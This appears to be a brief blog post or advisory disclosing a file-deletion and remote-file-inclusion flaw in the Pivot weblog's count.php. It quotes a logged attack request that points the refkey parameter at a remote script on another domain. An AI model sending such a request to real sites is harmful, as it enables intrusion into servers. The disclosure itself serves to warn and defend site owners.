Remotely exploitable vulnerability found in Pivot v1.40.6!
Attention all users of the Pivot weblog package! A remotely exploitable vulnerability was discovered in the /web/content/extensions/bbclone_tools/count.php file. This vulnerability can be used by an attacker to delete files from your web content directory, and if the register_globals PHP variable is set, it can be used to stage a remote file inclusion attack. One person (I'll blank their IP address) has already tried it on my website:
a.b.c.d - - [19/Mar/2009:17:19:22 -0400] "GET //extensions/bbclone_tools/count.php?refkey=http://www.infernodancevault.com//modules/tinycontent/admin/chmod.txt?? HTTP/1 …
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